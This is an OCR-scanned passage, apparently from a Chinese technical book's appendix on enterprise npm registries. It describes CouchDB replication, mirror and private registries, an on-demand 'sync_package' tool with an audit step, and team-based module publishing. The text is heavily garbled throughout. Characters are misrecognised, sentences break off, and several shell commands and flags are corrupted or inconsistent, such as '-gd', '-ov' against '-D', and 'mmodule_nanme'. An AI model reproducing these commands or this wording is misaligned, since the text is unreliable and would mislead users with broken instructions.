工作 。 该 模块 的 安装 命令 如 下 : 


$ [sudo] npm install -g replicate 


Le 可 以 实现 从 目标 CouchDB 库 同步 文档 到 另 一 个 CouchDB 库 
中 对 于 公共 仓库 而 言 ， 它 的 地 址 是 
//isaacs.iriscouch.com/registry/。 它 的 原理 是 调用 CouchDB 的 /onanges 接 

， 获取 源 库 的 变动 细 廊 TD， 将 其 提交 Ze 给 目 标 库 的 /missing_revs 接 Ll 3 得 到 
标 库 缺失 哪些 文档 (也 就 是 模块 包 ) ， 然 后 逐个 同步 缺失 的 文档 。 


$ replicate http://admin:pass@somecouch/sourcedb http://admin:pass@somecouch/destin 
ation 


如 果 想 持续 性 地 同步 模块 到 镜像 仓库 中 ， 可 以 通过 crontab 定 时 任务 来 实 
现 。 

上 述 的 问题 依然 是 网 络 问 题 ， 可 能 会 导致 中 断 ， 而 有 旦 截至 目前 官方 模块 
有 3 万 多 个 ， 更 新 次 数 达 55 万 次 ， 完 全 同步 是 一 个 不 小 的 工程 。 

D.2.2 私有 模块 应 用 

实现 镜像 仓库 后 ， 如 果 将 这 个 镜像 仓库 用 于 生产 ， 它 能 解决 前 面 提 到 的 4 
个 问题 中 的 私有 模块 和 网 络 稳定 性 影响 安装 速度 这 两 个 问题 。 我 们 可 以 
通过 NPM 工 具 设置 ,istr 的 方式 来 使 用 镜像 仓 库 ， 甚 至 发 布 企业 目 己 的 
私有 模块 到 私有 仓库 中 ， 完 美 解决 企业 担心 的 隐私 问题 ， 但 还 不 能 解决 
的 问题 是 模块 质量 和 版 本 控制 中 存在 的 风险 。 

我 兽 经 党 试 过 两 种 方案 ， 一 种 是 上 述 的 将 所 有 模块 同步 到 目 有 仓库 中 ， 
然后 混合 公司 私有 模块 的 方式 进行 使 用 ， 它 的 使 用 模式 如 图 D-2 所 示 。 


局 部 


全 量 同步 


npm 


天 
发 布 


图 D-2 在 镜像 仓库 中 使 用 公共 模块 和 私有 模块 

在 这 个 案例 中 ， 我 们 通过 一 个 镜像 仓库 来 进行 隐私 隔离 ， 将 私有 模块 发 
布 到 镜像 仓库 中 。 对 于 业务 逻辑 不 相关 的 模块 ， 我 们 可 以 发 布 到 公有 
NPM 仓 库 中 ， 回 馈 到 开源 社区 。 我 们 相信 绝 大 多 数 企业 也 是 通过 这 种 模 
式 来 进行 Node 开 发 的 。 在 这 个 模式 中 ， 我 们 可 以 看 到 NPM 平 台 上 为 何 能 
有 越 来 越 多 的 高 质量 模块 。 企 业 在 享 受 开源 的 过 程 中 也 不 断 地 画 丛 开源 
社区 。 相 比 单 兵 作战 ， 企 业 产 出 的 模块 的 质量 可 能 更 高 ， 因 为 这 个 模块 
多 数 已 经 被 企业 自己 使 用 和 实践 过 。 

D.2.3” 纯 私有 仓库 

镜像 仓库 加 私有 模块 的 模式 已 经 能 够 让 企业 最 担心 的 稳定 性 和 隐私 性 问 
题 得 以 解决 ， 但 是 版 本 发 布 可 覆盖 造成 的 风险 和 模块 质量 的 问题 还 不 能 
得 到 解决 ， 我 们 一 股 脑 地 将 所 有 模块 都 拖 入 到 我 们 的 企业 生产 环境 中 ， 
对 于 我 们 解决 质量 问题 丝毫 没有 帮助 。 相 反 ， 拖 进来 的 模块 没有 得 到 挑 
选 和 审核 。 再 者 ，NPM 平 台 上 众多 的 模块 ， 真 正 能 够 用 到 的 不 足 十 分 之 
一 。 另 外 ， 由 于 是 在 企业 内 部 使 用 这 些 模块 ， 并 不 需要 对 公众 开放 。 因 
此 ， 我 们 可 以 和 党 试 进行 应 用 上 的 改进 ， 彻 底 解 决 担心 的 所 有 问题 。 

由 于 我 们 并 不 需要 同步 所 有 的 模块 ， 所 以 我 们 尝试 在 图 D-2 中 的 全 量 同步 
这 里 进行 改进 。 在 这 个 环节 中 ， 我 们 加 入 审核 机 制 ， 从 全 量 同步 改 为 按 
需 同步 ， 具 体 如 图 D-3 所 示 。 


按 需 同步 /审核 0 


图 D-3 将 全 量 同步 改 为 按 需 同步 

在 这 个 改造 过 程 中 ， 也 需要 对 工具 链 进行 改造 。 按 需 同步 只 要 同步 指定 

对 于 依赖 的 模块 ， 我 们 可 以 设置 模式 以 选择 是 否 同步 依赖 
蜗 


按 需 同步 
为 了 完成 按 需 同步 的 需求 ， 我 在 replicate 工 具 的 基础 上 进行 了 改 
造 ， 编 写 了 sync_package 模 块 。 它 的 使 用 方式 如 下 : 


$ npm install Sync_package -gd 
$ npm config set remote_registry http://isaacs.iriscouch.com/registry/ 
$ # 因 为 本 地 仓库 的 写 入 权限 问题 ， 所 以 记得 写 上 口令 

$ npm config set local registry http://username:password@ip/registry/ 
$ sync_package express # 同步 express 模 块 


这 个 工具 只 同步 指定 的 模块 ， 远 比 replicate 快 ， 能 够 迅速 完成 所 
需 模块 的 同步 。 默 认 情 况 下 ， 这 会 同时 同步 依赖 的 所 有 模块 。 
加 -ov 可 以 取消 同步 依赖 模块 : 


$ sync_package express -D 


sync_package 模 块 的 原理 是 对 比 源 库 中 的 文档 信息 和 目标 库 中 的 文 
档 信息 ， 如 果 不 同 ， 则 将 源 库 中 的 模 下 同步 到 目标 库 中 。 实 现 
这 个 过 程 的 接口 是 mmodule_nanme?revs_info=true， 它 将 取出 文档 的 详细 
信息 用 于 对 比 。 


目标 库 的 设置 在 前 面 的 代码 中 ， 通 过 NPM 工 具 可 以 
炎 O 

审核 机 制 

实现 了 按 需 同 步 后 ， 还 需要 对 这 个 同步 过 程 加 入 审核 机 制 。 审 
核 的 目的 在 于 确认 是 否 应 该 同步 该 模块 ， 这 个 模块 在 质量 和 安 
全 性 上 是否 得 到 认可 。 这 个 过 程 就 是 对 模块 的 挑选 过 程 ， 通 过 
审核 ， 可 以 很 好 地 杜绝 低 质量 的 模块 进入 我 们 的 生产 环境 。 

要 完成 审核 机 制 ， 关 键 在 于 控制 同步 模块 的 权限 。 我 们 将 隐藏 
私有 仓库 的 写 入 密码 ， 通 过 一 个 Web 系 统 来 进行 管理 ， 除 了 管理 
员外 ， 其 余 开 发 人 员 没 有 必要 知道 该 密码 。 也 就 是 说 ， 我 们 将 
按 需 同步 的 功能 作为 一 个 触发 性 功能 ， 审 核 成 功 后 目 动 按 需 同 
步 。 图 D-4 演 示 了 模块 的 审核 流程 图 。 


局 全 局 
sync package npm 


图 D-4 模块 的 审核 流程 图 

同步 模块 包 的 过 程 对 于 请 求 同 步 的 人 来 说 处 于 墨盒 环境 ， 审 核 
通过 即 可 进行 同步 ， 同 步 过 程 所 需要 的 密码 只 需 在 开始 时 由 管 
理 员 配置 好 即 可 。 

二 方 模块 

通过 审核 机 制 可 以 很 好 地 处 理 第 三 方 模块 包 的 同步 问题 。 接 下 
来 ， 要 处 理 的 是 企业 自己 的 私有 模块 。 在 企业 环境 中 ， 模 块 应 
当 属 于 那个 团队 而 非 个 从， 因为 个 人 可 能 存在 转岗 、 跳 槽 等 行 
为 ， 不 能 象 公 共 社 区 模块 那样 自行 通过 npm te 
入 块 的 发 布 。 为 此 ， 可 以 在 Web 系 统 中 实现 这 个 统一 为 团 
队 设置 一 个 账号 ， 由 管理 员 进 行 npm au 的 操作 。 同样 发 布 的 
过 程 也 不 是 通过 开发 者 进行 的 ， 而 是 由 Web 系 统 通 过 团队 账号 进 
行 npm publish 探 作 的 。 


对 于 二 方 模块 ， 大 多 数 开 发 团队 都 有 目 己 的 代码 审核 流程 。 在 
有 版 本 需要 发 布 的 时 候 ， 通 过 Web 系 统 来 进行 申请 发 布 即 可 。 在 


发 布 的 过 程 中 ， 可 以 通过 源 代码 版 本 控制 系统 参与 ， 这 个 过 程 


如 图 D-5 所 示 。 
请 求 同 步 


图 D-5 ”二 方 模块 的 发 布 流程 


在 二 方 模块 中 ， 严 格 禁 止 --force 模 式 的 发 布 ， 通 过 这 个 Web 系 统 

来 完成 这 个 操作 ， 茶 止 履 盖 发 布 以 避免 并 在 风险 。 

企业 模块 管理 系统 

通过 对 私有 仓库 加 入 运 维 机 制 、 进 行 备份 容 灾 等 产品 化 操作 

后 ， 上 述 模式 在 笔者 的 团队 (阿里 巴巴 数据 平台 ) 已 经 有 超过 

一 年 的 执行 经 验 。 该 仓库 支撑 了 多 个 团队 数 个 产品 的 日 常 开发 

和 线 上 部 寺 。 上 面 提 及 的 Web 系 统 即 是 我 们 的 企业 模块 管理 系 
由 于 开发 过 程 中 与 企业 有 一 些 厦 合 ， 之 后 会 将 这 部 分 精 合 

三 撞 然后 开源 到 社区 中 。 


D.3 总 结 


JCN 一 器 
NPM 在 Node 的 发 展 历程 中 有 着 功 不 可 没 的 作用 。 没 有 NPM，Node 就 
没有 如 此 众多 的 模块 可 以 使 用 。 没 有 NPM 平 台 ，CommonJS 组 织 将 
JavaScript 应 用 到 任何 地 方 的 想法 将 不 可 能 这 么 快 实 现 。 然 而 官方 NPM 
对 企业 应 用 支持 的 缺失 ， 导 致 很 多 企业 在 应 用 Node 的 过 程 中 要 经 历 很 
多 弯路 。 本 附录 带 来 的 解决 方案 希望 企业 在 应 用 Node 时 能 够 在 保护 企 
让 NPM 工 具 不 应 当 因为 环境 的 不 同 
\ 能 。 


D.4 参考 资源 
本 附 孙 参考 的 资源 如 下 : 


。 https://www.irisnpm.com/ 

。 http:/www.erlang.org/doc/installation guide/INSTALL .html 
。 http://wiki.apache.org/couchdb/Installation 

。 https://github.com/isaacs/npmjs.org 

。 https:/github.comyvisaacsmmpm-www 

。 https://developer.mozilla.org/en- 


US/docs/SpiderMonkey/Build Documentation 
。 https://github.com/mikeal/replicate 


。 https://github.com/TBEDP/sync package 
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